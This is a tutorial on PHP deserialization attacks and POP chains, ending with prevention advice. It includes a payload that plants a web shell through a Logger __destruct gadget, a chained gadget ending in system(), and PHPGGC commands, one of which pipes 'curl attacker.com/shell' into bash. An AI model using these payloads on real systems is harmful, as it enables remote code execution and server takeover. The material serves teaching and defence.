PHP Object Deserialization & POP Chains
PHP Object Deserialization & POP Chains
How PHP Serialization Works
PHP's serialize() converts objects/arrays into a string representation. unserialize() reconstructs them. The format encodes class name, properties, and values.
// Object structure
class User {
public $name = "alice";
public $isAdmin = false;
}
// Serialized output of new User():
// O:4:"User":2:{s:4:"name";s:5:"alice";s:7:"isAdmin";b:0;}
//
// Format: O:[classname_length]:"[classname]":[prop_count]:{properties...}
// s = string, i = integer, b = boolean, N = null, a = array, O = object
The Vulnerability
When user-controlled data is passed to unserialize(), the attacker can craft a serialized string representing any class available in the application's codebase. During deserialization, PHP automatically calls magic methods.
// VULNERABLE — common locations
$obj = unserialize($_COOKIE['data']);
$obj = unserialize(base64_decode($_GET['token']));
$obj = unserialize(file_get_contents('php://input'));
Magic Methods — the Exploitation Surface
__wakeup()— called immediately whenunserialize()is invoked__destruct()— called when the object is garbage collected (end of script)__toString()— called when the object is used as a string__get($name)— called on inaccessible property read__set($name, $value)— called on inaccessible property write__call($name, $args)— called on inaccessible method call__invoke()— called when object is used as function
Simple Deserialization Attack
// Vulnerable class in application:
class Logger {
public $logfile = '/tmp/app.log';
public $data = '';
public function __destruct() {
file_put_contents($this->logfile, $this->data);
}
}
// Attacker crafts payload:
$evil = new Logger();
$evil->logfile = '/var/www/html/shell.php';
$evil->data = '<?php system($_GET["cmd"]); ?>';
echo serialize($evil);
// O:6:"Logger":2:{s:7:"logfile";s:25:"/var/www/html/shell.php";s:4:"data";s:30:"<?php system($_GET["cmd"]); ?>";}
// Send as cookie: ?data=[base64 of payload]
// On script end → __destruct() writes PHP shell → RCE
Property-Oriented Programming (POP Chains)
Real applications rarely have a single class that trivially leads to RCE. Instead, attackers chain multiple classes together — each magic method calls a method on another object, until execution reaches a dangerous sink. This is called a POP chain.
// Chain example: A.__destruct() → B.__toString() → C.__call() → system()
class A {
public $obj;
public function __destruct() {
echo $this->obj; // triggers B::__toString()
}
}
class B {
public $obj;
public function __toString() {
return $this->obj->run(); // triggers C::__call()
}
}
class C {
public $cmd;
public function __call($name, $args) {
system($this->cmd); // SINK — RCE
}
}
// Build the chain:
$c = new C(); $c->cmd = 'id';
$b = new B(); $b->obj = $c;
$a = new A(); $a->obj = $b;
echo base64_encode(serialize($a));
Tools — PHPGGC (PHP Generic Gadget Chains)
PHPGGC is the PHP equivalent of ysoserial for Java. It contains ready-made POP chains for popular PHP frameworks and libraries (Laravel, Symfony, Yii, Magento, Guzzle, etc.).
# List available gadget chains
phpggc -l
# Generate payload for Laravel RCE
phpggc Laravel/RCE1 system id | base64
# Generate for Symfony
phpggc Symfony/RCE4 exec 'curl attacker.com/shell | bash' | base64
# With URL encoding
phpggc -u Laravel/RCE1 system 'id'
Finding Deserialization Sinks
# Grep for unserialize in PHP source
grep -r "unserialize" --include="*.php" .
# Also check:
grep -r "fromJson\|fromString\|deserialize" --include="*.php" .
Note: The dangerous classes (gadgets) must be available in the application's autoloader. Gadget chains only work if the application uses the vulnerable library version. Always verify what's in composer.json / vendor/.
Prevention
- Never pass user-controlled data to
unserialize() - Use JSON (
json_decode()) instead of PHP serialization for user data - Implement
__wakeup()with strict validation to reject unexpected states - Use PHP 7+'s
unserialize($data, ['allowed_classes' => false])or whitelist specific classes
// PHP 7+ — restrict allowed classes during unserialize
$obj = unserialize($data, ['allowed_classes' => ['SafeClass']]);
// Better — use JSON instead
$data = json_decode($_COOKIE['data'], true); // no object instantiation
Key Insight: The attack surface of deserialization is the entire application's class hierarchy. The more third-party libraries an application uses, the more gadget chain candidates are available. Always check PHPGGC against the application's dependency stack.